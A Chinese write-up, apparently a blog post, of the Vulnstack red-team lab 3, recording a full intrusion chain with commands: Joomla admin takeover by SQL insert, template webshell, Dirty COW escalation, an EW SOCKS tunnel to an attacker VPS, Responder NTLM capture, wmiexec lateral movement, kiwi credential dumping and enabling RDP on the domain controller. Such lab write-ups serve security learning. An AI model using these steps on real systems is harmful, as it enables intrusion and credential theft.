ATT&CK实战系列 —— 红队实战(三)

环境准备

网络拓扑图

外网网段:172.26.239.0/24
内网网段:192.168.93.0/24

主机 外网 内网
Centos 172.26.239.89 192.168.93.100
Ubantu NA 192.168.93.120
Win Server 2012 NA 92.168.93.10
Win Server 2018 NA 192.168.93.20
Win7 NA 192.168.93.30
攻击机 Kali 172.26.239.18 NA

注意事项

打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。 挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。 除重新获取ip,不建议进行任何虚拟机操作。 参考虚拟机网络配置,添加新的网络,该网络作为内部网络。

外网打点

已知信息 : web ip 172.26.239.89

端口扫描

nmap -sS -O -sV -A 172.26.239.89

ATT&CK实战系列 —— 红队实战(三)_第1张图片

扫描结果:22,80,3306三个端口,可知开启了web和mysql服务。

Web打点

访问页面

ATT&CK实战系列 —— 红队实战(三)_第2张图片

通过源码与namp扫描都可以得知他使用了Joomla模板
ATT&CK实战系列 —— 红队实战(三)_第3张图片
通过百度搜索漏洞
https://blog.csdn.net/smli_ng/article/details/115799954

使用 w9scan 未能扫到漏洞

目录扫描

ATT&CK实战系列 —— 红队实战(三)_第4张图片

robot.txt

ATT&CK实战系列 —— 红队实战(三)_第5张图片

web.config.txt

ATT&CK实战系列 —— 红队实战(三)_第6张图片

htaccess.txt

ATT&CK实战系列 —— 红队实战(三)_第7张图片

administrator/index.php -> 后台登录页面

ATT&CK实战系列 —— 红队实战(三)_第8张图片

/configuration.php~ -> 配置文件

ATT&CK实战系列 —— 红队实战(三)_第9张图片

1.php -> 爆出 phpinfo();

ATT&CK实战系列 —— 红队实战(三)_第10张图片

信息汇总

  1. 存在后台登录页
  2. 得到phpinfo,可得绝对路径
  3. 泄露配置文件
  4. 泄露htaccess.txt文件

尝试数据库 getshell

从administrator/index.php页面中似乎泄露了数据库的账号密码,尝试登录-成功连接

ATT&CK实战系列 —— 红队实战(三)_第11张图片

直接写Shell

SELECT "" INTO OUTFILE "/var/www/html/3.php"

ATT&CK实战系列 —— 红队实战(三)_第12张图片
发现权限不足,无法写入

慢日志getshell

SHOW VARIABLES LIKE 'general%';

ATT&CK实战系列 —— 红队实战(三)_第13张图片

set global general_log = "ON"

ATT&CK实战系列 —— 红队实战(三)_第14张图片
提示权限不足

进入后台

寻找用户名密码

因为连接数据库,可以直接查看其中的表,其中umnbt_users表存放了用户名密码,得到用户名为admin,但是密码并非常规md5加密,而是使用了另外的加密方式
save_image/Pasted image 20220423162839.png

通过官方文档,查看修改管理员密码的方法

img

# Joomla!1.5密码恢复

本页仅为Joomla!2.5和更高版本。如果你还在使用Joomla!1.5 [这里可以找到指令](https://docs.joomla.org/Special:MyLanguage/J1.5:How_do_you_recover_or_reset_your_admin_password%3F).

通常,您可以从后端用户管理器添加、编辑和删除用户和密码。要做到这一点,您必须登录为超级管理员组的成员。

在某些情况下,这可能是不可能的。例如,您的网站可能已被“黑客攻击”,并有密码或用户更改。或者知道密码的人不再可用。或者你忘记了使用的密码。

在这些情况下,它仍然是可以改变的Joomla!数据库,以便可以作为超级管理员登录回。这些都可以到Joomla的可能方法!管理员



## 目录

•       [1 方法1:configuration.php文件](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.951.EF.BC.9Aconfiguration.php.E6.96.87.E4.BB.B6)

•       [2 方法2:直接编辑数据库](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.96.B9.E6.B3.952.EF.BC.9A.E7.9B.B4.E6.8E.A5.E7.BC.96.E8.BE.91.E6.95.B0.E6.8D.AE.E5.BA.93)

–      [2.1 更改数据库中的密码](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.9B.B4.E6.94.B9.E6.95.B0.E6.8D.AE.E5.BA.93.E4.B8.AD.E7.9A.84.E5.AF.86.E7.A0.81)

–      [2.2 添加新超级管理员使用r](https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn#.E6.B7.BB.E5.8A.A0.E6.96.B0.E8.B6.85.E7.BA.A7.E7.AE.A1.E7.90.86.E5.91.98.E4.BD.BF.E7.94.A8r)

### 方法1:configuration.php文件

如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。

1.     使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。

2.     下载配置文件。

3.     打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行

public $root_user='myname';

在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。

4.     保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。

此用户现在将是临时的超级管理员。

5.     登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。

6.     当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。

7.     使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。

如果您没有用户知道他们的密码,您不能利用前端注册,您可能需要更改您的数据库,如下面所述的文件。



### 方法2:直接编辑数据库

如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。

## 更改数据库中的密码

如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

确定您更改您的密码一旦您重新访问

这些指示將说明如何手动更改密码到Word中 - "secret"

1.     导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

2.     找到并单击“添加表*users”**在表的列表(注:你可能有一个前缀,**jos*,简单地去_users表你的前缀)。

3.     点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。

4.     查找要更改其密码的用户并按该行的编辑图标。

5.     将显示允许您编辑密码字段的窗体。复制的意义

​        d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

​        在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。

6.     使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。



### 添加新超级管理员使用r

如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。

1.     导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。

2.     按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。

3.     删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。

4.     使用下面的SQL查询添加另一个管理员帐户。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

确保您的数据库表前缀匹配!

下面的代码使用jos31*作为表名的前缀仅是一个示例表前缀。当你第一次安装**Joomla**的前缀是**“_random* ***或你设定的具体过。你需要改变所有发生的\*****jos31_”****(你的安装设置前缀)发现,在下面的代码前缀安装使用。**

**Joomla****使用SQL****代码**  [![Joomla 2.5](D:\typora\Img_typora\clip_image032-165344592861218.png)](https://docs.joomla.org/File:Compat_icon_2_5.png) [![Joomla 3.x](D:\typora\Img_typora\clip_image033-165344592865722.png)](https://docs.joomla.org/File:Compat_icon_3_x.png) [![Joomla 4.x](D:\typora\Img_typora\clip_image035-165344592865723.png)](https://docs.joomla.org/File:Compat_icon_4_x.png)   

INSERT INTO `jos31_users`
  (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
 VALUES ('Administrator2', 'admin2',
   'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
 INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
 VALUES (LAST_INSERT_ID(),'8');
 复制

在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。

[![Stop hand nuvola.svg.png](D:\typora\Img_typora\clip_image031-165344592860315.png)](https://docs.joomla.org/File:Stop_hand_nuvola.svg.png)

Warning!

警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。

上面的例子更改密码为“select”。其他两个可能的值如下所示:

•       password = "this is the MD5 and salted hashed password"



•       admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT

•       secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

•       OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

尝试直接修改密码,没有作用。

尝试增加超级用户,使用以下代码,增加一个用户名为admin123,密码为secret 的超级用户。

INSERT INTO `am2zu_users`
  (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
 VALUES ('Administrator2', 'admin123',
   'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
 INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
 VALUES (LAST_INSERT_ID(),'8');

ATT&CK实战系列 —— 红队实战(三)_第15张图片

使用新用户进入后台界面 administrator/index.php

ATT&CK实战系列 —— 红队实战(三)_第16张图片

文件上传getshell

进入后台,寻找可以上传的功能点。

  1. Content 下的Media 功能点,可以上传图片。
    

• 过滤了php文件,似乎还会检测图片内容,绕过失败。

ATT&CK实战系列 —— 红队实战(三)_第17张图片

  1. Extensions (拓展) 下的 Templates(模板) 功能点
    

ATT&CK实战系列 —— 红队实战(三)_第18张图片
选择一个模板进入,可以修改和创建文件内容
ATT&CK实战系列 —— 红队实战(三)_第19张图片
尝试写入一个新文件phpinfo.php,测试是否可用
ATT&CK实战系列 —— 红队实战(三)_第20张图片
发现没有给出文件位置,需要自己寻找
通过error.php可用大致推断出文件位置
ATT&CK实战系列 —— 红队实战(三)_第21张图片
或者dirsearch扫描的目录加上功能点也可用大致推断出文件位置

文件位置为 10.229.16.154/templates/beez3/phpinfo.php
ATT&CK实战系列 —— 红队实战(三)_第22张图片

写入一句话木马


蚁剑进行连接
ATT&CK实战系列 —— 红队实战(三)_第23张图片

绕过disable_functions

打开终端,输入命令,发现回包错误
ATT&CK实战系列 —— 红队实战(三)_第24张图片

打开phpinfo页面,发现disable_functions禁用了一些函数

这里交给蚁剑的插件进行绕过,生成新的shell,重新连接即可绕过
ATT&CK实战系列 —— 红队实战(三)_第25张图片

内网渗透

Websehll 渗透

ping探测

可以初步推测为Linux系统
ATT&CK实战系列 —— 红队实战(三)_第26张图片

查看当前用户

whoami

save_image/Pasted image 20220424111408.png

查看系统版本

uname -a

确认系统为Liunx系统
save_image/Pasted image 20220424111441.png

查看主机名

hostname

save_image/Pasted image 20220424111851.png

查看当前组

groups

save_image/Pasted image 20220424111954.png

查看本机ip信息

ifocnfig -a

发现奇怪的点,无法看到外网网卡信息,只有内网网卡信息
ATT&CK实战系列 —— 红队实战(三)_第27张图片

查看路由信息

route

至少我们确定了内网网段为 192.168.93.0/24
save_image/Pasted image 20220424135555.png

查看邻居表

ip neigh

save_image/Pasted image 20220424135758.png

查看arp缓冲区

arp -e

save_image/Pasted image 20220424140007.png

查看DNS

cat /etc/resolv.conf

save_image/Pasted image 20220424140052.png

从路由信息可以发现,内网存在另一个ip 192.168.93.100

查看开启的端口

netstat -ano

ATT&CK实战系列 —— 红队实战(三)_第28张图片

查看 /etc/passwd

ATT&CK实战系列 —— 红队实战(三)_第29张图片

查看程序与服务

ps -ef

ATT&CK实战系列 —— 红队实战(三)_第30张图片

尝试上线msf失败,尝试提权没有权限,并且没有外网网卡,这时候怀疑使用了代理,将内网的流量代理到与外网连接的机器上面。

寻找敏感文件

/tmp/mysql/test.txt
ATT&CK实战系列 —— 红队实战(三)_第31张图片

通过前面开启的端口,推测可能是ssh的密码,尝试连接

主机:192.168.154.129
用户名:wwwuser
密码:wwwuser_123Aqx

ATT&CK实战系列 —— 红队实战(三)_第32张图片

ssh 渗透

查看当前用户

whoami

save_image/Pasted image 20220424182904.png

查看系统版本

uname -a 

save_image/Pasted image 20220424182944.png

查看主机名

hostname

save_image/Pasted image 20220424183022.png

查看当前组

groups

save_image/Pasted image 20220424183111.png

查看当前目录

pwd

save_image/Pasted image 20220424183140.png

查看本机ip信息

ifconfig -a

双网卡,外网ip,这应该就是流量代理的外网主机
ATT&CK实战系列 —— 红队实战(三)_第33张图片

查看路由信息

route

多个没见过的ip,后续可以进行扫描
ATT&CK实战系列 —— 红队实战(三)_第34张图片

查看邻居表

ip neigh

ATT&CK实战系列 —— 红队实战(三)_第35张图片

查看arp缓存区

arp -a

save_image/Pasted image 20220424185337.png

查看程序与服务

ps -ef

ATT&CK实战系列 —— 红队实战(三)_第36张图片

上线msf

save_image/Pasted image 20220424190409.png

内网横向

脏牛提权

sudo提权

查看可以使用sudo的命令

sudo -l

ATT&CK实战系列 —— 红队实战(三)_第37张图片
无权限,夭折

msf进行提权

查询可以利用的漏洞模块

use post/multi/recon/local_exploit_suggester

ATT&CK实战系列 —— 红队实战(三)_第38张图片

选择相应的模块进行提权
ATT&CK实战系列 —— 红队实战(三)_第39张图片
提权失败,没有返回session

上传脚本(linux-exploit-suggester),对linux的漏洞进行测试
项目地址:https://github.com/mzet-/linux-exploit-suggester
save_image/Pasted image 20220424214004.png

尝试脏牛漏洞提权

发现存在 CVE-2016-5195 即 脏牛内核漏洞

下载脏牛漏洞exp,上传执行

成功提权

内网网段扫描

run post/multi/gather/ping_sweep RHOSTS=192.168.93.0/24

扫描出 10,20,30网段
save_image/Pasted image 20220424224205.png

添加路由

run post/multi/manage/autoroute CMD=autoadd

save_image/Pasted image 20220424224922.png

nmap扫描

使用msf的nmap进行扫描

192.168.93.10

nmap -A 192.168.93.10

ATT&CK实战系列 —— 红队实战(三)_第40张图片

系统: Windows Server 2012 R2
存在域
开启445 可能存在ms17-010

192.168.93.20

namp -A 192.168.93.20

ATT&CK实战系列 —— 红队实战(三)_第41张图片

系统:Winodws 2008
80 有web服务
445 可能存在ms17-010

192.168.93.30

namp -A 192.168.93.30

ATT&CK实战系列 —— 红队实战(三)_第42张图片

系统:Windows
445 可能存在ms17-010

开启socket代理

拿下了web服务器那么,我们要进一步对内网进行横向渗透,因为看到192.168.93.20开启了80端口,就想看看能不能从这里突破。
既然要看内网的web,那么肯定得吧流量代理出来,这里使用ew搭建soket隧道。

vps端

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

服务端(192.168.93.100)

./ew_for_linux64 -s rssocks -d 192.168.154.130 -e 8888

proxychains 配置代理

修改配置文件

/etc/proxychains.conf

添加我们的代理端口

socks5 127.0.0.1 1080

成功代理
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504171929.png

内网打点

Web服务

刚刚看到192.168.93.20开了80端口,用curl看看是什么网站

proxychains curl http://192.168.93.20:80

ATT&CK实战系列 —— 红队实战(三)_第43张图片

可惜是 404 ,放弃。

ms17-010

尝试了一波ms17-010,毕竟开着445 139端口。
ATT&CK实战系列 —— 红队实战(三)_第44张图片
失败,也是,怎么可能这么简单。

SMB爆破

既然ms17-010不行,也没有域,那就尝试爆破smb,反正开着445端口,有机会。

放入我的祖传字典,进行爆破
使用smb_login模块

use auxiliary/scanner/smb/smb_login

设置目标ip

set rhosts 192.168.93.10

设置爆破的用户名

set SMBUSER administrator

设置字典目录

set pass_file 2021_top100.txt

设置线程

set threads 20

启动!

run

ATT&CK实战系列 —— 红队实战(三)_第45张图片
可惜,祖传字典失败了。

后面看了看密码是123qwe!ASD,感觉是我的祖传字典不够厉害,跑去github找有咩有包含这个密码的字典,后面发现要么是123qwe! 要么是 123qweASD ,就是没有这个,可惜~

横向渗透

伪造smb服务器

其他几台机器也开了数据库3389/1433,而且密码是一样的。

这里使用Responder.py来伪造smb服务器来获取hash,然后利用mssql来进行触发验证

先将工具传到centos上,运行脚本python Responder.py -I eth1 -wrf
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505091930.png
然后接着在msf触发验证
ATT&CK实战系列 —— 红队实战(三)_第46张图片
触发验证后,可以看到,已经成功抓到ntml hash
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220504214554.png

使用john或hashcat进行破解
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505091620.png

得到密码为qwe123!ASD

内网获取cmd

使用工具wmiexec.py来进行获取cmd,执行前,先在msf中开启socks,然后利用proxychains来进行执行命令。

proxychains python3 wmiexec.py ‘administrator:[email protected]
复制

成功获取cmd
ATT&CK实战系列 —— 红队实战(三)_第47张图片
查看当前用户和ip
ATT&CK实战系列 —— 红队实战(三)_第48张图片
systeminfo
ATT&CK实战系列 —— 红队实战(三)_第49张图片
因为只有cmd并且不出网,所以不能直接进行文件上传。
这里有三个方案:

  1. 直接开启3389进行文件上传

  2. 使用smbclient工具进行文件上传

  3. 将文件上传到centos机器上,因为centos机器上有python,可以开启web服务,然后内网机器进行文件下载

Smbclient 上传文件

这里选择用smbclient,首先kali可以直接使用,而且比开启3389方便

proxychains smbclient //192.168.93.20/c$ -U administrator

使用 put 进行文件传输

上线msf
因为机子无法出网,需要正向连接,使用bind_tcp进行上线。
ATT&CK实战系列 —— 红队实战(三)_第50张图片

加载kiwi

load kiwi

报错
ATT&CK实战系列 —— 红队实战(三)_第51张图片

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

将msf进程迁移到system权限下的进程
ATT&CK实战系列 —— 红队实战(三)_第52张图片
getsystem提权
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122458.png
查看凭证
ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505122820.png

成功获取域控的密码

zxcASDqw123!!

拿下域控

查找域控
ATT&CK实战系列 —— 红队实战(三)_第53张图片

192.168.93.10

用wmiexec.py获取cmd,后开启域控的3389,进行登录

开启3389

开远程桌面功能

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

防火墙放行

netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

当我使用rdesktop进行远程连接会报错。

Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).

ctf/靶场/红日靶场(vulnstack-GoldenEye)/folder/Pasted image 20220505220153.png
换成remmina连接即可成功上线
ATT&CK实战系列 —— 红队实战(三)_第54张图片

你可能感兴趣的:(红日靶场,安全,网络)